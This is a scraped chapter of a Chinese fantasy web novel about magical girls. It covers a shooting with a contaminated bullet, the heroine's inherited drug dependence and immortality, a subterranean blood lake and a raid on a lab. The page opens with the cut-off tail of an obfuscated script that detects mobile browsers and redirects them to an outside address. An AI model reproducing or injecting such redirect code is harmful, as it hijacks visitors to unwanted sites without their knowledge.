RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786555|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在为自己辩解!” 随后她像是得到了无罪审判的被告人一样欣喜地笑了起来。 “你在说什么?”犬山晓完全不理解她在说些什么。 “那一天,我摔断了腿,那个时候医院还建在车站那里,我请求管理人带我过去,没有人理我。”对方擦了擦笑出来的眼泪,宣读获奖感言,“晚饭后我自己一个人去了医院,那里有人收留了我,但还是落下了残疾。” 她说起这些话时语气里却带着庆幸。 “第二天早上,孤儿院地上和地下的所有人都消失了,只留下了一些血迹。”她讥讽地看着犬山晓,食指指甲盖与肉的间隙凝视犬山晓的眼睛,“既然你活着,那么那些事就都是你做的。” 荒谬至极的言论,犬山晓感到了愤怒,她完全不认为自己与这件事有关。 “都说了你认错人——”她大声反驳,被打断了。 “我不会认错你的脸的,不过没关系,我也不会忘记你的症状。”那人满怀恶意地笑了,“药物依赖遗传者,胺,你妈妈带着你的那几年一定很辛苦吧?” 欢迎回来。 药物依赖遗传,实验表明人们对成瘾性药物的敏感性存在着差异,并且遗传因素可能在药物滥用的易感性方面起一定的作用,你记得你的病例。 被抛下却依然不陌生的词汇,你有多久没有记起这个了呢?一年?十年?二十年?还是三十九年? “我怎么会忘记你呢?你是少数被院长亲自带进孤儿院的,大家都记得你,大家都死了!”那人的双手微微颤抖了起来。 “大家都以为你真的死了,我们之中有人为你哭过,你也杀了非叶对吗?你当然这样做了,你杀了所有人,只有我逃了出来。” “杀死院长的时候你心里是怎么想的?胺?你痛恨他告诉了你真相吗?你也杀了那些让你去找院长的护工吧,她们确实有够讨厌的,但她们也给我们做过蛋糕吃的。” “还是说你就那么想报仇呢?” “看看你,活得多么光鲜亮丽,为什么又回来了呢?你为什么会出现在我面前?” “不过没有关系,我会为大家报仇的,我会将功补过,我会留在这里。”她颤抖着举起右手,那是一支小型手枪。 那个口径的子弹顶多擦破你的皮,与你的同伴不同,你熟悉子弹能造成的伤害,不再需要考虑了,但你面对枪口却想起了别的东西。 第一次面对手枪的时候,你根本不知道那是什么东西,黑色的金属块在那个被你盯着的人的手里端着,那个人的手止不住地下垂,显得那铁块沉甸甸的。人类有威胁,但不比魔物攻击性大,而且人类往往会选择不去伤害同类。 这是你在暗处观察后得出的结论,但你后来被那把枪射出的子弹贯穿了肩膀,伤口很快就愈合了,但那灼烧与爆炸的感觉你还记得。 “怪物!”那个人说。 一般说出了这种话的人会引来很大的麻烦,这是经验所得,于是你将那个人的心脏用手甲刺碎了,刨开了他的腹部,取走了一些内脏丢掉了。 一般这样的尸体会被认作是野兽所为,这是经验所得。 “怪物,去死吧。”笑着举起手枪的女人扣动扳机,子弹射出,外壳螺旋着在空中碎裂,露出其中的黑红色物质和魔力气息。 你的头按预期破皮,你为什么不躲开?你又做错事了。 不远处,住院楼的电梯门打开了,森山寺未央放置了一个影子看住电梯门,听见枪声一惊,顿了顿,抬腿迅速朝枪声所在地跑去。 她跑过来了,明明她知道自己没办法应对枪械的,她还是跑过来找你了。 “禾草代目?!你怎么在这里?”她先是注意到了呼吸起伏巨大的破脚女人,随后注意到了她手中的枪,和仰面倒下的犬山晓。 “晓!”森山寺未央瞬间明白发生了什么,她心急如焚地冲上前。 禾草代目的枪里没有第二发子弹了,她惊怒交加地回头看向来者,拖着腿迅速退到电梯内,电梯门适时地关上。 森山寺未央可以进去,但她更着急犬山晓的状态,她在脑内迅速过了一遍医院地图,发觉这个电梯通往的大概率是综合医疗楼。记下这一点,她趴在地上开始确认犬山晓的状态。 她的好友额头正中间中弹,只擦破了皮,但除去身体状态之外,那魔力气息的混乱让森山寺未央意识到了事情的严重性。 是的,你知道,这是严重的错误导致的严重结果。 高浓度污染后的含魔力化学液体与血湖提取物混合着接触到你的皮肉和血液,污染顺其自然地触碰到你的细胞,并迅速开始分裂开来并融合进你的身体各处。 硬要说的话,忽视疼痛和感官错乱,那其实是一种被拥抱的感觉,你还记得吗? 你清晰感知到了,因为那是触觉反馈,你眼前炸开了花,强烈的眩晕感袭来,随后是失去平衡与失重感的双重袭击。 你仰面朝后倒下就按照老方法去控制血液循环以阻断分子效果,可惜那些污染物分裂后极其细微,混着你的血管滑入更深层的组织。 是的,实验室那边又更新了RP系列的注射用素材,你在西部市区见过的吸毒者对此爱不释手。 犬山晓身上各处开始渗血。 你在尝试排毒,接下来这些污染物会与你额头伤口附近的皮肤组织细胞结合,伤口恢复得太快了,污染物又是脂溶的,这会催化污染物对大脑的侵蚀,你知道必须在它大量复制前进行控制。你最好不要去想象大脑不再能控制身体后你的行为,那会让你分心的。 你的头部在燃烧,你知道自己该做什么,你听见森山寺未央的声音,你必须尽快处理好这些东西,那样的话一切都还来得及,来得及假装什么都没有发生过。 但比起这些理性驱使的任务,更多的东西占领了你的任务处理中枢,那是很多人说的话,很多不同的场景,很多你自己说的话,很多夜空中的明月。 哪怕是隔着层层障碍,你依旧见到了那个不言语的陪伴者。 这样下去你就会变成一个失去控制的疯子吧,你过往为此所做的一切自我约束的行动全都功亏一篑,你若是没能从这一次的污染物处理中完整地隔离出中枢神经,那接下来你的人生就会被不定期的失控占领,那是你的噩梦常客,你曾为了根绝这一现象而不择手段。 但,但如果我就这样死了呢?犬山晓不受控制地这样想。 干脆就这样放任自己死去,对了,血湖,不是说我也是血湖的血缘者吗?或许我也应该走进那片黑暗里,那个孩子说过那里已经有许多人了,我不会孤单的。 你抛在脑后避之不及的记忆们也一一深处了手,和我一起,等待接住即将坠落的人。 就这样站起来,把所有东西交给她,然后转身进入那部电梯,这次的时间一定过得很快,然后走进那片潮湿的血腥味里,直到脚尖感受到湿润,随后就纵身一跃吧,这样的话—— 这样的话,哪怕是我这样的人,也一定能迎来一个还算正常的终结。 但是。 “晓,你怎么样了?”森山寺未央飞扑过来伏在犬山晓的旁边查看她的伤口。 她伸手去摸对方的额头,却被那如滚火中取出的金属般的热度惊到。 “怎么会这么烫?这个热度什么东西都应该被烧没了。”森山寺未央感到束手无策,犬山晓额头的伤口并不严重,按她的体制早应该愈合了才对。 犬山晓恍惚间看着森山寺未央焦急的脸,想起了很多很好的回忆,那是她努力之后得到的,那时她甚至以为自己已经彻底摆脱了一切,从此以后只要她小心一点,就一定能获得一个普通的平静的人生。这并不是因为她乐观,相反,她相当地悲观,总认为自己一个不小心就会跌回过去之中,所以她非常小心,小心到驻足不前。 所以,你从不真正的相信你能摆脱我们吗? 是的,犬山晓心想,那是一段很好的回忆,她曾有过很多期盼,那些是真正属于她自己的,她不想放弃。 犬山晓非常想要那些幸福的碎片,这个愿望令她从未放弃尝试活下去,从未放弃过挣扎。 “把,我的头,砍下。”犬山晓竭尽全力控制自己说出这句话,她感受不到自己的舌头了。 “什么?头?”森山寺未央几乎不相信自己听到了什么。 “把我的头,砍下来,在它长出来之前,把我的心脏,销毁。”犬山晓忍住昏迷的欲望说,“快。” 趁血液还没被全数污染,切断被污染的源头,这是犬山晓得出的对污染对策。 可森山寺未央做不到,她推断自己必须按照犬山晓所说的做,但她不理解犬山晓话语中的感情含义。她不知道发生了什么,不知道这样做的结果是什么,万一她的友人是突然想不开准备自杀了呢?可能性极低但可能性存在,她做不到杀死自己的朋友。 血液蔓延,她的视线中一片猩红,她的朋友在受苦,在催促,她为此感到了强烈的恐惧,以及自责。 该怎么办,有谁,有谁有什么办法,现在就能用上的办法,森山寺未央强迫自己冷静下来思考去寻找一个替代方案。 随后她迅速掏出了自己的手机,翻出了一个号码。 这里没有一般的运营商信号,但森山寺未央的手机能用卫星信号紧急联络。 “喂?”电话的另一头是克拉拉。 “我,”森山寺未央才发现自己嗓子干哑,“晓她的头部被特殊的子弹击中了,伤口无法愈合,头部高烧,她让我把她的头砍下来,我,她,我觉得她不是想自杀,我不确定,我。” 电话那一头沉默了几秒。 “…我大概理解了,你看一下她的瞳孔,可以观察一下脖子的血管,听一下心跳有没有规律。”克拉拉的声音非常冷静,近乎没有感情波动。 森山寺未央飞快照做了。 “她的瞳孔放大到快要散开了,血管出现明显的扩张但是没有出血和异色,心跳异常地快。”她一股脑地把自己看到的东西全说了。 “这样,”克拉拉沉默了一瞬,“我的车里那瓶药她肯定有带着,给她灌三,不对,算了,整瓶都给她灌下去。” 森山寺未央顾不上疑惑,迅速掏了掏犬山晓的口袋并找出了目标,她飞快地将那瓶没有标签的药拧开,一股脑地往犬山晓的喉咙里倒。 “记得给她扶起来点。”克拉拉提醒。 森山寺未央一只手抬起犬山晓的脖子,一只手灌,将手机夹在耳朵与脖子之间。 药丸是黑色的迷你球体,倒的时候偶尔掉出来一两粒,也被快速捡回来塞进了对方的嘴里。 “我全都灌进去了,然后呢?”森山寺未央紧张地问。 “接下来就看她自己了。”克拉拉这才叹了口气,说,“她出什么事了?” “我也不知道,晓被枪击中了脑袋,只擦破了皮,但魔力反应变得非常混乱。”森山寺未央如实交代。 犬山晓将药物咽下去之后心跳缓和了一些,她正在深呼吸,魔力围绕在她身边,非常温暖,她在流泪。 “那瓶药物是我给你姐姐注射的药物的原始版本,未作试药,她之后如果出现了什么不良反应都算是正常的,代谢个一两天就行了。”克拉拉似乎没那么在意她听到的那些特征。 “谢谢您,谢谢。”森山寺未央也逐渐缓和了一些情绪,她觉得自己都要被吓死了。 “她的做事方法很奇怪吧?”克拉拉忽然说,“而且有时候她知道自己奇怪的地方会让别人觉得她奇怪,所以会刻意将自己的一举一动套在壳子里。” “是这样吗?我们都挺奇怪的吧,相比来说她很可靠了。”森山寺未央之前没看出犬山晓是这样一个奇怪的人,但她现在知道了也没觉得有什么不好的。 克拉拉听出了她的反应,笑了笑。 “希望你们收获不错,回来再说吧。”克拉拉说完,挂断了电话。 药物对于犬山晓来说作用速度额外地快,那种不受控制的负面思考终于被她摆脱,她得以专心处理神经中枢的污染。 而森山寺未央小心翼翼地把犬山晓的放好,紧盯对方的反应。 她感到愧疚,因为遇到格雷伊的袭击她没能迅速应对,所以延迟了抵达这里的时间,她认为自己是导致犬山晓受伤的原因之一。 森山寺未央想到这里,心里因为后怕而有些想哭。 45.ūndecim 这时,前方通道墙壁上的电梯门打开了,森山寺未央抱紧犬山晓的脑袋吓了一跳,准备取出卡牌的时候却发现电梯里传出的魔力气息是熟悉而令人安心的。 “这个魔力反应,是晓?”艾克里普急忙从电梯里跑了出来,“晓受伤了吗?!发生什么事情了?” 而倒在地上的犬山晓隐约察觉到有人来,但没能做出反应,她知道现在自己看上去应该是奇怪又糟糕的,但又觉得这如果是在她们面前的话,好像也没关系。 “是血?!晓,晓怎么会流这么多血呢?”有乐羽生也惊慌失措地跑了过来,她熟悉犬山晓对于血液的控制,所以对于她脑门上的血迹感到不安。 她蹲在地上,想要触摸犬山晓的头但又担心影响到对方,干脆就这样看着。 “我赶到的时候看见是禾草代目对晓开了一枪,那枚子弹里应该有与我们之前找到的RP-D素材相关的污染物。”森山寺未央蹲在地上说,“那污染物似乎对理智的影响力很大,但克拉拉小姐的药物能对其效果达成抑制,我不清楚具体细节。不过现在她的脑袋已经没那么烫了。” 她的声音还在带着些颤抖的余震。 艾克里普探查了犬山晓的身体状况,她顿了顿,有些意外。 “她的体内魔力非常的,平和。”艾克里普犹豫着用词,“不,应该说是难以产生反应,但同时那些明显产生排异反应的分子也镇静了下来,这是克拉拉小姐的药物的作用吧。不过总体来说已经她开始恢复了,不必担心。” 虽然她这样说,但眉头依然皱着。 “…开枪,但击中后只擦破了皮,所以重点在于污染。”有乐羽生有些疑惑,但更多的是愤怒,“她为什么要向晓开枪?我们应该还没有暴露自己的身份才对吧?” “我赶来的时候她已经躲进电梯里去了,是去综合医疗楼的方向。”森山寺未央摇了摇头,“但我们的行动应该已经暴露了,因为我来的时候遇到了格雷伊,也遇到了湛。就是不知道是什么时候被发现的了。” 这两个名字有乐羽生和艾克里普都很熟悉。 “格雷伊和湛?那个CEO吗?”有乐羽生吓了一跳,“未央你居然还能活着跑过来真是了不起!” “…居然遇到了两个危险人物。”艾克里普的神色紧张了起来,迅速检查了一番森山寺未央的身体情况后松了口气,“未央没有受伤实在是太好了。” “不,也不是那么危险的情况啦。”森山寺未央不好意思地摆了摆手,“博蒙并不能使用魔法,格雷伊倒是和我打了起来但很快就被湛带走了,湛也没有要和我动手的意思。这实在是很奇怪,但我看着她们两个离开这里了,博蒙倒是还在她的办公室。” “这里对她们来说其实并不重要吗?或者说博蒙并不重要。”有乐羽生思索着说,“一定还有别的什么存在在支持幕后黑手行动,斩草除根,我们还有更多的事要做。” “果然这里只是据点之一。”艾克里普郑重地说,“至少这次我们已经获得很多线索了,用这些线索找出幕后黑手的真正势力所在吧。” “没错!”森山寺未央点头,“而且我认为这里应该是非常重要的据点才对,毕竟是Evo原先所在的位置。” 随着身体恢复健康,犬山晓的视线清明,她仰面朝天,前方有三枚脑袋,她意识到那都是自己的同伴,一瞬间感到心里非常踏实。 “晓你醒啦!”森山寺未央第一个发现她睁开了眼睛,“感觉怎么样?还有哪里不舒服吗?” 犬山晓坐了起来,揉了揉自己的脑袋,额头还很沉,而且舌头传来苦涩的味觉反馈。 但是,她活下来了,而她的同伴也在她身边,没有比这更好的事情了。 “啊,笑了,没事了吗?”有乐羽生也凑过来看,她掏出纸巾擦了擦犬山晓脑袋上的血。 “从魔力反应上来看已经平静下来了,身体上没关系吧?”艾克里普担心地说。 她们在担心我,犬山晓意识到。 “没事了,”犬山晓笑着说,“我完全恢复了,除了魔力有些损耗。” “唔啊太好了,吓死我了!”森山寺未央激动地抱住了犬山晓的头,让她看不清眼前的东西了。 “抱歉,未央,刚才让你做那种事情。”犬山晓回抱住对方,“是我没有提前和你们说清楚,吓到你了,让我之后向你赔罪吧。” “什么东西?不过不用啦,你好好的就好了。”森山寺未央吸了吸鼻子。 “是关于我的特征的,以及,我过去的一些事。”犬山晓想了想,决定将自己一直不愿意说的事情说出口,“我对于任何药物的吸收性和易依赖性都非常的强,一旦产生依赖性就无法从根本上结束戒断反应,因为我无法对任何药物产生耐受性。这是我的双亲遗传给我的。” 这就是她痛苦的根源,她头脑发热地朝一个方向跑了三十年,而就在今天上午,她们开车三个多小时就回到了这里。 那些不计年月的日日夜夜,那些痛苦挣扎着的成长过程,犬山晓全都记得一清二楚,她以为假装那些事情从未发生过就能靠自己的努力拥有幸福的人生。 但只要她在半夜醒来,月亮永远在那里,过去永远在那里,等待她的坠落。 所以不可以逃避,她想,逃避过去并不是通往幸福的路。 森山寺未央说不出话,她对此有所了解,有乐羽生也对此有所了解,于是她们才如此静默。吸毒者被送入戒毒所之后只能靠毅力控制自己,但只需要一次分神,一脚踩空,那么一切就全部作废了。 “我的父母是这里的受试者,我也是。”犬山晓说,她有些犹豫地去看同伴的双眼,但声音没有犹豫。 而药物依赖者的孩子中,部分天生就遗传了对药物的敏感度和易感度,犬山晓的基因是研究人员千挑万选出来的好苗子,在这方面有着常人无法想象的天赋。 不光是成瘾性药物,简单的麻醉药物,少剂量的止咳糖浆,咖啡因,甚至糖分,都会令她在潜意识中上瘾,她清楚自己的这一特点,所以才日复一日地自我控制。 就连结界这种因她本身诞生的造物,都会在潜意识中对她的精神进行干扰。 “可晓看上去非常正常啊,不是吗?”艾克里普感到讶异和不可置信,她认为犬山晓与自己见过的那些街头上的僵尸完全不是一回事,犬山晓从未在她们面前展现出过类似的症状,甚至血液循环状态和细胞也十分健康。 她对自己的判断和犬山晓的自白都抱有信任,可信任矛盾了。 “这是因为我尝试过各种疗法,重新生长脑部结构并破坏血液循环系统的效果非常好。所以我对血液和器官结构非常熟悉。”犬山晓说。 艾克里普哑然。 这是异常的,犬山晓心里明白,但她想要将此说出口,想要让同伴了解,理解她。 “因为我的特征是不死,我不会死去。”犬山晓说。 这也是她尝试之后得出的结论。 不死者在现代文学作品中不算个新鲜词汇,吸血鬼,僵尸,修仙者,神仙。无视时间流动,不受老死之苦的人多数活得肆意,但犬山晓明显不是。 长生之苦多源于空虚寂寞,犬山晓的长生之苦源于无法得到解脱,好在她勇于尝试。 无论是在发现自己无法死去之后尝试让自己死去也好,还是在发现自己确实是不死之身后继续尝试让自己活下去幸福也好,都需要很多很多的勇气。 “所以我才让你那样做,你不知道这一点所以很害怕吧,抱歉让你承受那样的压力,未央。”犬山晓认真地和森山寺未央道歉。 而森山寺未央很快就从“我的朋友是弗兰肯斯坦的怪物”这种即视感中回过神来,她感慨这可真是一个不得了的秘密,会选择隐瞒也是人之常情吧。但既然现在她知道了,那这就是大家共同的秘密了! “都说了没关系的!晓你在我们身边,这就是最重要的事情了。”森山寺未央放开了犬山晓的脑袋郑重地说。 “没想到晓也是这里的受害者之一。”艾克里普忧心地说。 她常感慨她们的相聚是奇迹,但若是犬山晓的过去的一切是实现这个奇迹的代价的话,她无法分清自己是否能认可它们是对等的。从艾克里普的角度上看,人类都是脆弱的,刚刚成为魔法少女的犬山晓也是脆弱的。 而如今的犬山晓却已经是一个强大而可靠的伙伴了,这一切是否值得呢?若是说值得,那是否太过于残忍。若是说不值得,那是否在蔑视她的决心? 而这份悲伤与欢喜的结合体被有乐羽生所捕捉,她心中感慨艾克里普在这一方面确实很多愁善感且不善言辞,甚至忽视。她实际上将对人的感情与对魔法少女同伴的感情分作两类,但她自己却不自知。 所以明明往日里都能对同伴表达出内心想法的人,在面对同伴过去的苦难时往往笨拙地开不了口。 是将她看作人类去怜悯,还是当作魔法少女去肯定? “那算下来晓比我们大好多啊,叫你一声奶奶也不算开玩笑啦。”有乐羽生笑着说,“奶奶一直以来辛苦啦,我们接下来就去把坏人都消灭掉!” “对!我们马上就能结束这一切了!”艾克里普也回过神来,她们是自己的同伴,一起战斗一起前进,无论过去如何,以后她们都会一直在一起的! 想到这里,她重新变得坚定了起来。 “对,我们还得回去考期中考呢,走吧。”犬山晓笑了,她站了起来将记事本取出。 “居然才到期中考吗?”森山寺未央感慨时间过得慢,“这里就是实验室的地址吧!我们走!” 犬山晓确实如她自己所说的那样完全恢复了,她擦了擦额头,就连那疼痛和混乱的感觉也不复存在。但有些事情她不会忘记,例如今天的一切,例如她的过去,以及她的朋友。 不如以后更坦诚一些吧,她心想。 “还有关于湛和其它协助者的一些信息。”犬山晓翻动笔记,“湛的代号是行刑者,有能让天使言听计从的方法。还有一位名叫报丧鸟的代言人,魔法表现为说话。不过那孩子说话喜欢添油加醋,这些故事也是她听来的,我不确定这些信息是否全部属实。” “人如其名的代号。”艾克里普思索着说,“魔法不需要人类语言辅助,但如果说表现为说话的话,或许是以语言影响人类脑部的判断和其它。让天使言听计从或许就是指的洗脑,但还需要更多的观察。” 几人听后纷纷点头记下,权威发言值得参考。 “听来的?”有乐羽生疑惑这个用词。 “是的,她说。”犬山晓想了想措辞,“她说血湖里的灵魂会说梦话,血湖本身也有沟通能力,只要是这里的有魔力资质的受试者多多少少会受到影响。而按照她的说法,受试者确实是没有办法离开血湖范围内的,最后也都会回归血湖。” “…听上去很诡异。”森山寺未央评价道,“别的不说,血湖为什么会有沟通的能力?” “其实我也有听到,但是我并没有受到影响,只是听到。”犬山晓有些不好意思地说,“我觉得那不能算是沟通吧,就是,我知道有什么在表达,但是那并不是一种你来我往的沟通。按照那孩子的说法或许血湖应该是有更直接的沟通方式的,但我没有接受,或者说它没有出现?” 犬山晓连嘴带手地比划着,措辞越来越缓慢。 “按照这个说法的话。”森山寺未央掏出了自己的记事本,“我也记下来了博蒙说的一些东西,大家一起看看有没有什么能用的地方吧!” 记事本上的字迹因记录者求速而不算工整。 “我提及格雷伊和天使的时候,她就像是被点燃了一样开始爆炸!”森山寺未央指着记事本上的一部分说,“她说什么我就记什么,我其实不太能听懂,但只要看就能看出来,她真的特别讨厌格雷伊啊!” 犬山晓看着那字里行间的恨意,想起自己听到的关于博蒙与格雷伊的关系,心里不免感到奇怪,她翻开自己的记事本,字迹工整。 “她们之间确实有血缘关系,因为博蒙的失忆,这个关系发生了一些变化,但说到底还是亲戚。”犬山晓指着部分信息说,“虽然那孩子真的很喜欢在讲故事时加入自己的个人评价吧,但是你们看,就这一点来说应该是不会错的。” “…我也有猜到一点啦,不过真相比想象中的更,更奇怪啊!”森山寺未央感慨到,“该说是因为她们是这种没人性的家族出生的吗?关系还能扭曲成这样。” 按照她的猜想,博蒙与格雷伊可能是姐妹,家族内的竞争对手,没想到是复合型的。 “虽然博蒙与格雷伊关系很复杂,但感情上却是很显而易见的单箭头呢,博蒙明显很厌恶格雷伊的存在,而格雷伊则是很倾慕博蒙,这是她唯一在世的亲人了吧。”犬山晓叹了口气,“天使都是孤儿出身,唯独只有格雷伊不是,但却还是变成了这样。” 而有乐羽生在此时想起来格雷伊与她在酒吧的谈话,她将姐姐与父母分开的态度,以及谈及姐姐时语气里止不住的思念。 “格雷伊她和我说过一些家里的事情,在很早以前,博蒙和她的丈夫有经营一家酒馆,小时候格雷伊和她们一起在那里生活。”有乐羽生心里有些悲伤,“她说的家庭变故原来是这个,真是谁都想不到的事情呢。” 若是博蒙的资产足够重建神脉医院,那她选择在酒馆生活的原因就不难猜了。 “按照博蒙对格雷伊的态度,格雷伊没有避之不及都算好的,居然还会来看她吗?”森山寺未央想起博蒙的怒吼就有些害怕。 “格雷伊说她很少收到姐姐的消息,也不被允许去看她。”有乐羽生说。 有乐羽生若有所思,她从森山寺未央与犬山晓的记录里得知二人的关系,再结合格雷伊所说的一些话,心里隐约有了些想法。 一个高中生心智的人若是真的讨厌一个人到想要破口大骂的境地,那为何选择自己离开而不是选择报复对方呢,何况博蒙有的是方法让格雷伊感到痛苦。选择远离格雷伊一方面是不再想让自己感到痛苦,一方面也是给自己一段思考的时间吧。 所以,这也是让格雷伊离自己远一点的方式,有乐羽生猜想。 夜深人静的时候,博蒙是否也想过若是二人仅仅是姐妹关系的话,是否能相处地更加融洽一点,但可惜她从未放弃怀疑格雷伊。直到最后心里想的也是让对方感到痛苦这一件事。 “她说,自己已经失去了妈妈,这也意味着她眼里自己的母亲已经死了吧?”森山寺未央说,“不过她没有说自己失去了爸爸呢。” “可是博蒙的丈夫应该是已经死去了。”犬山晓想起自己听到的话。 这种没有证据可以证明的猜想推测起来就没完没了。 “好吧,这些先不谈。”森山寺未央想起了另一个疑点,“湛带走格雷伊时可是使用了拳头!如果湛有方法让天使听话的话,那她为何要用打晕格雷伊的方式带走她呢?” “确实啊!或许格雷伊在天使中也是特别的存在,毕竟她从出生上来说本来就足够特殊了。”艾克里普有些想法但还无法确定,“阿贝尔家族无法诞生拥有魔力资质的个体但格雷伊就是个例外呢。” “博蒙应该不这样认为吧,不然她就不会接受换血实验了。”森山寺未央若有所思。 “这些人为了达到目的真是什么事都做得出来啊,用换血手术造神?这种行为到底是有什么意义?”艾克里普放弃去思考那复杂的关系了,转为关注另一边,“博蒙-阿贝尔算是这里的最后一个家族余孽了,没想到她们藏了这么久。” “那也就可以解释其影响力了,医院也好血湖的存在也好人体实验也好,应该都是这个家族开始的。”有乐羽生若有所思,“而且可以确定幕后黑手本人并不是阿贝尔家族的人了吧,科勒斯特和博蒙都被真正的控制了。” “那就是和实验室那边相关的人了。”森山寺未央点头,“说到这里,我们也去看一眼血湖吧?那里可是一切的起源诶。” “没错,去检查一下吧,居然是在地下。”艾克里普皱眉,“这里的泥土质地很软,临湖海,地质里包含太多元素导致魔力探测反馈效果不佳,亲眼看看比较好。” “魔力探测还要考虑这方面啊。”森山寺未央若有所思,“这样说起来,按照地理来说,这里本来应该很难建起住院楼那么高的楼来着,因为地基得挖很深。考虑到血湖的位置,一切都变得合理了起来呢。” “这个名字听上去很不详,不过我也支持去看一眼。”有乐羽生看向犬山晓,“晓要不要在这里等我们?” “一起去吧,你们都在这里呢。”犬山晓摇了摇头。 四人在离开地下区域前一同前往了地下血湖区域,血瓶中还留有足够通过生物验证的血液,四个人步入其中,在电梯内依旧宽敞。 “至少已经下降了一百米了吧,我的耳朵在耳鸣诶,这个电梯空间好大!”森山寺未央说。 “这么深的电梯井到底是什么时候挖的?”有乐羽生感到疑惑。 电梯门再次打开后,四个人都在电梯里没有动。 艾克里普深呼吸,她对那巨大魔法含量感到震惊。 “我,我不想出去!”森山寺未央对黏糊糊的地面表现得非常抗拒,但又有些好奇。 “我也。”有乐羽生对浓重的血腥味感到有些反胃,但又有点好奇。 犬山晓没有说话,她的心脏再次搏动了起来,血湖与她隔空相望,她笑了笑。 “我去看看就好,除了巨大的魔力储备以外我没有感受到攻击性。”艾克里普安抚着说,随后走出了电梯步入黑暗中。 这片黑暗并没有困扰到她,除了魔力含量过高以外,这里远没有人潮汹涌的广场令她感到抗拒。她很好奇为何自己工坊里的探测仪对这巨大的血湖没有反应,但随着她正式踏入电梯外的空间内,这个问题得到了解答。 艾克里普回头,摸向电梯外的,巨大空洞的表皮,不明材质的复合金属散发出冷意。 “这是一个容器,不,用人类的判断来说这应该是仪器的一种。”艾克里普感叹道,“她们用一个巨大的仪器将这处空间包装了起来。” “那么是先有鸡还是先有蛋呢?”森山寺未央尝试迈出一步,也摸了摸空洞的内面,“滑溜溜的,但是仔细看也能看出一些纹路来,电梯外面的门应该也是这个材质的吧。” “是的,这近乎是魔法道具能达到的绝对效果了,是为了防止血湖产生变化而制造出来的。”艾克里普再次发出感叹,“这么大的面积,阿贝尔家族的人居然能积累如此多的黄金资源,真是不可思议的贪婪!” “…这是金子做的?!”森山寺未央大惊失色,“这么大的面积啊!?” “是复合型的,并不全都是黄金啦。”艾克里普笑着说,“而且一旦出现一定缺口整体结构就失效了,电梯门就是唯一的缺陷,也是开口了,设计出这个的人也真是——” 艾克里普顿住了。 “那这样来说的话图纸和黄金哪个更贵一点还真不好说了。”森山寺未央感叹着说,“而且这下能确定,肯定是先有血湖,血湖出现了变化,阿贝尔家族的人才研究出这个来关住血湖的。” 有乐羽生也按耐不住好奇心跑了出来,犬山晓看着电梯门。 “我可没听说过有哪里的黄金大量失踪,不过黄金多数是私产,拥有者决定使用方式。”有乐羽生也摸了摸金子做的内壁,“滑溜溜的。” “毕竟很平衡。”艾克里普点了点头,“面积大是最主要的特点了。” 她转身走向血湖,蹲下身,试探着接触那片平静的湖面,深红色的液体没有对来客产生任何反应,她的手指上沾上了明显是血的液体,那附着着一些魔力。随后艾克里普尝试使用聚集魔法。 血湖涌动了起来,但很快又恢复平静,对方拒绝了聚集。 这下艾克里普是真的有些意外了,能抗拒魔法的存在一定是拥有自己的意识的,无机物只会被动地接受魔法并产生对应的效果,只有那些有意识且一定程度上能使用魔法的人能对此做出反抗。 那这片血湖到底是算是魔物,魔法道具,还是说某种未知的存在呢?艾克里普看着毫无波动的湖面,产生了一些期待,随后站起身来。她发现自己没能与血湖的魔法产生共鸣,这并非是因为其魔力与魔物一般混乱,正相反,血湖中所蕴含的魔力里什么都没有。 连黑色与白色都不存在,那只是虚无地存在于那里,等待着什么去给它赋予意义,或者等待意义回归血湖。 艾克里普想了想,转身与大家一起回到了电梯内。 “或许在很久之后它会彻底苏醒过来吧,”艾克里普笑着说,“真有意思,我还没见过这种类型的魔法造物,和植物也不太一样。” “就放在这里没关系吗?”有乐羽生担心道。 “没关系,没有人利用它的话它就和普通的湖泊没有区别,也不会对普通人产生影响。”艾克里普摇了摇头。 “那就好啦,这片湖一共多大呀?”森山寺未央好奇地问。 “应该和神脉医院总面积差不多大了吧?可能比那小一点,我无法探测湖底,不了解具体容量。”艾克里普思索着说,“那其中毫无疑问只有血液和魔力,这一点错不了。重点在于一开始的转化,这一点应该源于那孩子所说的,阿贝尔家族侍奉的图腾,那应该是个魔法道具,但若只看结果的话我也无法判断其功能。” “真是无法想象。”犬山晓叹了口气说,“这就和一个巨大的火葬场差不多吧,或者说火化炉?实验体,尸体和特殊垃圾的归宿可都是这里。这样说起来我确实没在那几栋楼的电梯指引图上看到火葬场或者停尸间。” “…这个还挺吓人的。”森山寺未央评价道。 在找到实验室所在的位置之后,四人迅速将实验室包围了起来。 好在虽然博蒙话里话外对四人的出现表现得在意料之中,但实验室中的研究人员们对此完全不知情,电脑屏幕上内容五花八门,人与机器各自埋头工作。 实验室内部全部内容处于同一平层中,并没有额外的地下室或者储藏空间,艾克里普判断其范围比孤儿院地下观察区大些许。不同的区域之间有通行隔离,门偶尔打开,从其中看到的那些不需要通行权限就能入内的区域看上去就和普通的学校实验室和电脑教室没什么区别。 【应该都在这里了,越往里走需要的通行权限越高,不知道博蒙她给的通行证有没有用。】犬山晓摸出了通行证。 【直接把门也一同销毁就可以了,在考虑好自身安全的情况下不需要保持隐秘。毕竟我们已经暴露行踪了,后续处理好监控录像即可。】艾克里普摇了摇头。 【不知道这里会不会有其它的密道,我试着找找看。】森山寺未央使用化影迅速搜寻实验室的边缘。 【我们该如何处理这里的研究员呢?她们中的一部分对实验的真实面目并不知情吧?】有乐羽生说,【比如这个区域里,没有更高权限的研究员的工作就只是最基础的素材成分分析,她们知道那些血液的来源吗?】 【看那些人的样子大概是不知道的吧。】犬山晓看向那些靠在椅子上聊天的人,看不出是知道自己的工作内容实际上是反人类的样子。 【我们并不需要处理这些不知情的研究员,将那些器材全部处理好后这人也就没有用武之地了。】艾克里普并没有对此感到太多的纠结,【不过内部的我会处理掉,交给我吧,这是我的工作。】 【说的也是。】有乐羽生也想通了,这些研究员无法阻止她们即将要做的事情。 【这里的走廊尽头有个电梯,除此之外就没有别的类似出口的设施了,那个电梯应该是通往我们刚才所在的地方的。】森山寺未央说。 【那开始吧,我先从里面的区域开始。】艾克里普点了点头,神情严肃地说。 【那我从这里开始吧,未央和羽生帮忙把这里的人抓起来。】犬山晓说。 森山寺未央和有乐羽生点了点头,四人一同开始行动。 